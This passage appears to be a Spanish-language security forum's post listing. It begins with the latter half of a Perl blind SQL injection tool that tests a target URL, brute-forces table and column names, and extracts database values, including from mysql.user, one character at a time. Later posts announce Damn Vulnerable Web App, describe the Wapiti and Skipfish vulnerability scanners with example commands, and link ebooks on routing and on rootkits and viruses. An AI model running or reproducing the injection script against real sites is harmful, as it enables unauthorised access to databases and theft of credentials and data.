  114. [-] Imposible crear el archivo de texto
  115. ";
  116. print WEB "[WEBSITE]:
  117. $ARGV[0]
  118. ";
  119. [!] Chequeando por el patron...
  120. ";
  121.       $sql=$ARGV[0]." AND 1=1";
  122.       $response=get($sql);
  123.       if($response =~ /$ARGV[1]/)
  124.         {
  125.             print "
  126. [+] Patron encontrado con AND 1=1
  127. ";
  128.             print WEB "$sql => OK !
  129. ";
  130.             $sql=$ARGV[0]." AND 1=0";
  131.             $response=get($sql);
  132.             if($response =~ /$ARGV[1]/)
  133.             {
  134.                 print "[-] Patron encontrado tambien con AND 1=0, posiblemente no vulnerable a Blind SQL Inyection, probar con otro patron
  135. ";
  136.                 exit (0);
  137.             }
  138.             else
  139.             {
  140.                 print "[+] Patron no encontrado con AND 1=0, website vulnerable a Blind SQL Inyection
  141. ";
  142.                 print WEB "$sql => OK !
  143. ";
  144.             }
  145.          }
  146.          else
  147.                  {
  148.                      print "[-] Patron no encontrado, probar con otro
  149. ";
  150.                      exit (0);
  151.                  }
  152.         print "
  153. [!] Chequeando si existe Information_Schema...";
  154.         $sql=$ARGV[0]." AND (SELECT Count(*) FROM information_schema.tables)";
  155.         $response=get($sql);
  156.          if($response =~ /$ARGV[1]/)
  157.              {
  158.                  print "
  159. [+] Information_Schema disponible...guardando en $ARGV[2]";
  160.                 print WEB "
  161. [INFORMATION_SCHEMA]:
  162. $sql
  163. ";
  164.                
  165.              }
  166.          else
  167.              {
  168.                 print "
  169. [-] Information_Schema no disponible";
  170.              }
  171.         print "
  172. [!] Chequeando si existe MySQL.User...";
  173.         $sql=$ARGV[0]." AND (SELECT Count(*) FROM mysql.user)";
  174.         $response=get($sql);
  175.          if($response =~ /$ARGV[1]/)
  176.              {
  177.                  print "
  178. [+] MySQL.User disponible...guardando en $ARGV[2]";
  179.                 print WEB "
  180. [MYSQL.USER]:
  181. $sql
  182. ";
  183.                
  184.              }
  185.          else
  186.              {
  187.                 print "
  188. [-] MySQL.User no disponible";
  189.              }
  190.         print "
  191. [!] Bruteando tablas...";
  192.         print WEB "
  193. [TABLAS]:
  194. ";
  195.         foreach $tabla(@nombretabla)
  196.          {
  197.                   chomp($tabla);
  198.                   $sql=$ARGV[0]." AND (SELECT Count(*) FROM ".$tabla.")";
  199.                   $response=get($sql);
  200.                   if($response =~ /$ARGV[1]/)
  201.                     {
  202.                         print "
  203. [+] La tabla $tabla esta disponible...guardando en $ARGV[2]";
  204.                         print WEB "$sql
  205. ";
  206.                     }
  207.                 }
  208.         print "
  209. [!] Tabla a la cual brutear columnas: ";
  210.             $tabla.=<STDIN>;
  211.             chomp($tabla);
  212.             print WEB "
  213. [COLUMNAS EN $tabla]:
  214. ";
  215.             foreach $columna(@nombrecolumna)
  216.             {
  217.              chomp($columna);
  218.              $sql=$ARGV[0]." AND (SELECT Count(".$columna.") FROM ".$tabla.")";
  219.              $response=get($sql);
  220.              if ($response =~ /$ARGV[1]/)
  221.                   {
  222.                       print "[+] La columna $columna esta disponible...guardando en $ARGV[2]
  223. ";
  224.                       print WEB "$sql
  225. ";
  226.                   }
  227.             }
  228.          if ($ARGV[3] =~ /-EXT/)
  229.          {
  230.              extrac:
  231.              $columna = '';
  232.              print "
  233. [!] Columna de la tabla $tabla a la cual extraer campos: ";
  234.              $columna.=<STDIN>;
  235.             chomp($columna);
  236.              print "[!] Extrayendo valores de la tabla $tabla y columna $columna (puede demorar mucho tiempo)...
  237. ";
  238.              print WEB "
  239. [Valores de la tabla $tabla y columna $columna]:
  240. ";
  241.              $search = 1;
  242.              $posicion = 1;
  243.              $limit = 0;
  244.              $comprob = 1;
  245.              while ($search <= 255)
  246.              {
  247.                  $sql=$ARGV[0]." AND ascii(substring((SELECT " .$columna. " FROM " .$tabla." limit " .$limit.",1),".$posicion.",1)) = " .$search;
  248.                  $response=get($sql);
  249.                  if ($response =~ /$ARGV[1]/)
  250.                   {
  251.                         $char = chr($search);
  252.                         print WEB "$char";
  253.                         print "$char";
  254.                       $search = 0;
  255.                       $posicion++;
  256.                       $comprob++;
  257.                   }
  258.                  if ($search == 255)
  259.                  {
  260.                      print "
  261. ";
  262.                      print WEB "
  263. ";
  264.                      if ($comprob == 1)
  265.                      {
  266.                          $eleccion = '';
  267.                          print "[+] Busqueda finalizada. Desea extraer valores de otra columna? [Y/N]: ";
  268.                          $eleccion.=<STDIN>;
  269.                          chomp($eleccion);
  270.                          if ($eleccion =~ /Y/)
  271.                          {
  272.                              goto extrac;
  273.                          }
  274.                          else
  275.                          {
  276.                             end();
  277.                          }
  278.                      }
  279.                      $comprob = 1;
  280.                      $search = 0;
  281.                     $limit++;
  282.                  }
  283.                  $search++;
  284.             }
  285.            }
  286. end();

16
Bugs y Exploits / Damn Vulnerable Web App
« en: Marzo 25, 2010, 07:27:08 pm »

esta excelente herramienta sirve para testear diferentes vulnerabilidades web. Aparte de ofrecer a los profesionales, estudiantes e investigadores en seguridad informática un conjunto de utilidades con las cuales podemos explotar y entender un amplio grupo de vulnerabilidades web.

Algunos cambios en esta nueva versión:

    * Se re escribió completamente el codigo.
    * Se rediseño completamente el aspecto de la aplicación.
    * Se agrego la vulnerabilidad CSRF.
    * Ahora las vulnerabilidades XSS se almacenan.
    * Se agrego la vulnerabilidad Full Path Disclosure.
    * Cuenta con un nuevo sistema de logueo.
    * Ahora tiene manejo de secciones.
    * Algunos bugs arreglados.
    * Se implemento el PHPIDS.
    * y muchas cosas mas…

Si te intereso la pasada versión del Damn Vulnerable Web App, no dudes en descargar esta nueva versión los dejo en compañía de este vídeo tutorial de instalación de Damn Vulnerable Web App

Video Instalación Damn Vulnerable Web App

Descargar

Mas Información:
Sitio Oficial de Damn Vulnerable Web App

17
En la actualidad, con la evolución de los dispositivos de seguridad perimetral, la concienciación por parte de los administradores de red y los fabricantes de software, cada vez es más complicado encontrar, durante el proceso de una revisión de seguridad, vulnerabilidades en los sistemas operativos y en el software en general instalado en un servidor.

Por el contrario, es muy común encontrar vulnerabilidades Web ya que los programadores (o más bien el mercado) sigue priorizando la funcionalidad y usabilidad de la aplicación por encima de la seguridad y, normalmente, al desarrollar dichas aplicaciones web, no se tienen en cuenta las metodologías de programación segura para los diferentes lenguajes de programación utilizados, tampoco se revisa el código fuente antes de su paso a producción, etc.

Vulnerabilidades como Inyecciones de SQL, XPATH, Cross Site Scripting (XSS), Cross-site request forgery (XSRF), Inyecciones LDAP o CRLF, fallos en los mecanismos de autenticación de la aplicación, etc. siguen siendo todavía demasiado habituales.

Para facilitar un poco la tarea de descubrir vulnerabilidades Web y como alternativa a los programas comerciales como HP Webinspect o IBM Appscan, esta disponible desde hace tiempo Wapiti que acaba de publicar su última versión 2.2.1 y dispone de licencia GPLv2.

Wapiti está programado en Python, está disponible en español y su uso, a pesar de no disponer de entorno gráfico, es de lo más simple, basta ejecutar el programa con un intérprete de Pyhton versión 2.4 o superior desde Windows o Linux, seguido de la dirección a revisar como opción principal:

Citar
python wapiti.py http://www.antrax-labs.tk

a partir de entonces, se cargará el módulo de Web Crawling de que dispone para intentar descubrir todas las posibles páginas y ficheros existentes en la aplicación analizada. Wapiti utiliza la librería para "web spider" lswww, también programada en Python y del mismo creador:

Citar
python wapiti.py http://www.antrax-labs.tk
Wapiti-2.2.1 (wapiti.sourceforge.net)

Posteriormente, y una vez que se tiene localizada toda la estructura de directorios de la aplicación, carga los diferentes módulos existentes (si no se le ha indicado lo contrario) y va comprobando las vulnerabilidades de cada módulo:

Citar
python wapiti.py http://www.antrax-labs.tk
Wapiti-2.2.1 (wapiti.sourceforge.net)
................................................................................
...........
Aviso
========
El escaneo ha sido guardado en el fichero \src/scans/antrax-labs.tk.xml
Puede ser usado para realizar ataques sin necesidad de escanear nuevamente el sitio web utilizando el parámetro "-k"
  • Cargando módulos :

mod_crlf, mod_exec, mod_file, mod_sql, mod_xss, mod_backup, mod_htaccess, mod_blindsql, mod_permanentxss, mod_nikto
  • Lanzando módulo crlf
Wapiti detecta las siguientes vulnerabilidades:

    * Errores en la gestión de ficheros (fopen, readfile, includes, ...)
    * Inyección en Bases de Datos (SQL, XPATH, sorpota PHP, JSP y ASP)
    * Inyección XSS
    * Inyección CRLF
    * Inyección LDAP
    * Ejecución de comandos (eval(), system(), passtru(), ...)
    * Inyección CRLF (HTTP response splitting, session fixation, etc.)
    * Búsqueda de archivos potencialmente peligrosos en el servidor web
    * Búsqueda de copias de seguridad (backups) de scripts
    * Configuraciones htaccess débiles que permitan saltárselos

Wapiti permite configurar y personalizar todos los parámetros del análisis, puede trabajar con cookies y con formularios de autenticación y, también, especificar un proxy de la siguiente forma:

Citar
python wapiti.py http://www.antrax-labs.tk -c <cookie_file> (para trabajar con cookies)
python wapiti.py http://www.antrax-labs.tk -a <login%password> (para utilizar un usuario y una contraseña válidos de la aplicación)
python wapiti.py http://www.antrax-labs.tk -p <url_proxy> (para especificar un proxy)

Al terminar el análisis , se indica la ruta del informe generado en formato HTML, por defecto, aunque también se puede configurar para que Wapiti cree el informe final en formato XML o, incluso, en texto plano (.txt).

Wapiti destaca por lo detallado de sus reportes, donde se puede observar la descripción de las diferentes vulnerabilidades encontradas, formas de resolverlas y algunas páginas de referencia donde poder ampliar la información sobre los fallos encontrados.

Citar
Informe
------
Un informe ha sido generado en el fichero generated_report
Abre generated_report/index.html con un navegador para ver el informe

Descargar Wapiti

Pagina Oficial del Wapiti

Creditos:
VaxMAN

18

Este pequeño ebook, está escrito por Bert Hubert, el cual nos habla de los conceptos de enrutamiento con iproute2, entre otras cosas. Aunque el libro es algo viejo, todavía sirver para entender los conceptos, sin importar cual sea la herramienta.

Descargar

Creditos
Epsilon

19
Google acaba de anunciar un nuevo producto llamado Skipfish, nada mas y nada menos que un escaner de Vulnerabilidades para aplicaciones web en entorno unix totalmente gratuito y de código abierto.

Segun Google Skipfish no solo es mas rápido que cualquier otra herramienta de su tipo, sino que ademas tiene menos “falsos positivos” y su interfaz es mucho mas sencilla que las demás.

Aunque no cumple con los estándares publicados por el Consorcio de seguridad de aplicaciones Web para los escaners de vulnerabilidades en aplicaciones web, es una buena herramienta para tener en cuenta a la hora de realizar nuestros test.

Descargar Skipfish

Mas Información:
Pagina Oficial de Skipfish

Fuente

20
E-Zines / E-Books Sobre Rootkits Y Virus
« en: Marzo 19, 2010, 12:59:27 pm »
Buenas, acá les dejo varios libros muy completos sobre rootkits y virus

Nota: estan en ingles


Páginas: [1] 2